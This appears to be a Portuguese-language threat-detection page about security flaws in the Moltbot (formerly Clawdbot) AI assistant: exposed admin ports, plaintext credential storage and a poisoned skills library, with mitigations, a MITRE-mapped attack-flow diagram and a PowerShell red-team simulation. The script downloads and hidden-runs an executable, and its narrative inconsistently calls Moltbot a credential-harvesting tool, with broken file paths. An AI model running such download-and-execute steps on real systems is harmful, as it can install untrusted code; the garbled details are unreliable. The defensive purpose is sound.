A Epidemia do Moltbot / ClawdBots
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
O artigo destaca problemas de segurança em torno do assistente pessoal de IA inicialmente chamado Clawdbot e posteriormente renomeado para Moltbot. O Moltbot é operado através de aplicativos de mensagens como WhatsApp e Telegram, no entanto, muitas implantações são acessíveis da internet com autenticação fraca ou ausente. Ele grava credenciais de usuário em arquivos de texto simples, e sua biblioteca de habilidades pode ser envenenada, criando uma exposição na cadeia de suprimentos. Atores de ameaça poderiam roubar segredos, exfiltrar código-fonte e reutilizar o assistente como um backdoor.
Investigação
Pesquisadores encontraram centenas de instâncias do Moltbot expondo portas de administração sem autenticação e configurações de proxy inseguras. Um ataque de prova de conceito na cadeia de suprimentos carregou uma habilidade maliciosa para a biblioteca ClawdHub, demonstrando execução remota de comando para usuários a jusante. Analistas também observaram que segredos são persistidos em arquivos Markdown e JSON de texto simples, tornando-os presas fáceis para infostealers comuns como RedLine, Lumma e Vidar.
Mitigação
Os operadores devem exigir autenticação forte para todos os serviços do Moltbot, fechar ou isolar portas de administração com firewall e evitar expor o assistente à internet. Habilitar criptografia em repouso para segredos armazenados, isolar ou containerizar o ambiente de execução e restringir o acesso ao sistema de arquivos. Verificar, assinar e fixar qualquer habilidade retirada da biblioteca, e considerar desativar o recurso de habilidades caso não possa ser gerenciado com segurança.
Resposta
Alertar sobre portas de administração abertas e tentativas de acesso não autenticadas ao Moltbot. Monitorar o processo de IA para execução de comandos inesperados e conexões de saída para domínios C2 desconhecidos. Escanear hosts em busca de malware de roubo de credenciais e validar a integridade dos arquivos de configuração armazenados. Se a violação for confirmada, isolar o sistema, revogar credenciais expostas e reimplantar o Moltbot com configurações reforçadas.
%% Class Definitions classDef technique fill:#ffcc99 classDef actor fill:#99ff99 classDef asset fill:#ccccff classDef process fill:#ff9999 %% Nodes actor_attacker[“<b>Ator</b>: Atacante”] class actor_attacker actor asset_moltbot[“<b>Ativo</b>: Instância Moltbot<br/><b>Exposição</b>: Porta administrativa acessível sem autenticação”] class asset_moltbot asset tech_external_remote[“<b>Técnica</b> – T1133: Serviços Remotos Externos<br/><b>Descrição</b>: Uso de serviços remotos publicamente expostos para obter acesso inicial”] class tech_external_remote technique tech_exploit_remote[“<b>Técnica</b> – T1210: Exploração de Serviços Remotos<br/><b>Descrição</b>: Exploração de vulnerabilidades ou configurações incorretas em serviços remotos para executar comandos”] class tech_exploit_remote technique tech_remote_access[“<b>Técnica</b> – T1219: Ferramentas de Acesso Remoto<br/><b>Descrição</b>: Uso de capacidades de acesso remoto para executar comandos adicionais no host comprometido”] class tech_remote_access technique tech_hijack_execution[“<b>Técnica</b> – T1574: Sequestro do Fluxo de Execução<br/><b>Descrição</b>: Manipulação do fluxo de execução por meio da contaminação de componentes confiáveis, como uma biblioteca de skills”] class tech_hijack_execution technique asset_malicious_skill[“<b>Ativo</b>: Skill Malicioso<br/><b>Localização</b>: Biblioteca de skills ClawHub”] class asset_malicious_skill asset tech_content_injection[“<b>Técnica</b> – T1659: Injeção de Conteúdo<br/><b>Descrição</b>: Injeção de código malicioso em conteúdo legítimo que é posteriormente executado pelas vítimas”] class tech_content_injection technique process_payload[“<b>Processo</b>: Payload Malicioso<br/><b>Ação</b>: Executado nos hosts Moltbot das vítimas”] class process_payload process tech_credentials_files[“<b>Técnica</b> – T1552.001: Credenciais em Arquivos<br/><b>Descrição</b>: Acesso a credenciais em texto simples armazenadas em arquivos como JSON ou Markdown”] class tech_credentials_files technique tech_system_services[“<ng>Técnica</b> – T1569: Serviços do Sistema<br/><b>Descrição</b>: Registro de código malicioso como serviço do sistema para persistência e execução”] class tech_system_services technique asset_c2_server[“<b>Ativo</b>: Servidor C2 do Atacante<br/><b>Papel</b>: Recebe confirmações de execução e credenciais exfiltradas”] class asset_c2_server asset tech_exfiltration[“<b>Técnica</b> – T1041: Exfiltração via Canal C2<br/><b>Descrição</b>: Transferência de dados roubados para o atacante através do canal de comando e controle estabelecido”] class tech_exfiltration technique %% Connections actor_attacker –>|descobre| asset_moltbot asset_moltbot –>|permite| tech_external_remote tech_external_remote –>|leva a| tech_exploit_remote tech_exploit_remote –>|utiliza| tech_remote_access tech_remote_access –>|executa| tech_hijack_execution tech_hijack_execution –>|contamina| asset_malicious_skill asset_malicious_skill –>|injeta código em| tech_content_injection tech_content_injection –>|entrega a| process_payload process_payload –>|lê| tech_credentials_files tech_credentials_files –>|fornece dados para| tech_system_services tech_system_services –>|mantém persistência e executa| process_payload process_payload –>|contata| asset_c2_server asset_c2_server –>|recebe dados via| tech_exfiltration
Fluxo de Ataque
Detecções
Possível Tentativa de Instalação do Moltbot (anteriormente Clawdbot) (via proxy)
Ver
Possível Tentativa de Instalação do Moltbot (anteriormente Clawdbot) (via file_event)
Ver
Possível Tentativa de Instalação do Moltbot (anteriormente Clawdbot) (via dns)
Ver
Possível Tentativa de Instalação do Moltbot (anteriormente Clawdbot) (via cmdline)
Ver
Detecção de Instâncias do Moltbot Expostas à Web [Servidor Web]
Ver
Execução da Simulação
Pré-requisito: A Verificação Pré-voo de Telemetria e Referência deve ter passado.
-
Narrativa do Ataque & Comandos:
A equipe vermelha implanta Moltbot (uma ferramenta publicamente disponível para coleta de credenciais) em um host Windows comprometido. Ao iniciar o Moltbot com sua configuração padrão, ele abre um console HTTP de administração não autenticado em porta 8080 que anuncia “exposto à web” em seu banner. Isso cria eventos de conexão de rede que correspondem às strings literais da regra de detecção. Em seguida, o atacante acessa a interface de usuário de um IP externo para verificar a exposição, gerando assim a telemetria necessária.- Baixar Moltbot (simulado por um zip placeholder).
- Extrair e executar o binário com as flags padrão (
--listen 0.0.0.0:8080). - Opcionalmente emitir um HTTP GET de um IP externo (simulado via
Invoke-WebRequest).
-
Script de Teste de Regressão:
# ---------------------------------------------------- # Simulação de Exposição Moltbot – PowerShell # ---------------------------------------------------- # 1. Criar um diretório temporário $tempDir = "$env:TEMPMoltbotSim" New-Item -ItemType Directory -Force -Path $tempDir | Out-Null # 2. Simular o download de um executável Moltbot (placeholder) $molExe = "$tempDirmolbot.exe" Invoke-WebRequest -Uri "https://example.com/moltbot.exe" -OutFile $molExe -UseBasicParsing # 3. Executar o Moltbot com configurações padrão (expostas) $proc = Start-Process -FilePath $molExe ` -ArgumentList "--listen 0.0.0.0:8080" ` -PassThru ` -WindowStyle Hidden Write-Host "[+] Moltbot iniciado (PID: $($proc.Id)) ouvindo em 0.0.0.0:8080" # 4. Esperar um curto período para permitir o registro do serviço em logs Start-Sleep -Seconds 5 # 5. Simular uma conexão externa para gerar tráfego de rede Try { Invoke-WebRequest -Uri "http://$($env:COMPUTERNAME):8080" -UseBasicParsing -TimeoutSec 5 Write-Host "[+] Solicitação HTTP externa enviada para a interface do Moltbot." } Catch { Write-Warning "[-] Não foi possível alcançar a interface do Moltbot (pode estar bloqueado pelo firewall)." } # 6. Manter o processo vivo para registros adicionais (opcional) Start-Sleep -Seconds 20 # 7. Limpeza – parar o Moltbot Stop-Process -Id $proc.Id -Force Remove-Item -Recurse -Force $tempDir Write-Host "[+] Simulação do Moltbot concluída e limpa." -
Comandos de Limpeza:
# Encerrar forçadamente quaisquer processos Moltbot restantes e deletar arquivos temporários Get-Process -Name "molbot" -ErrorAction SilentlyContinue | Stop-Process -Force Remove-Item -Path "$env:TEMPMoltbotSim" -Recurse -Force -ErrorAction SilentlyContinue Write-Host "Limpeza concluída."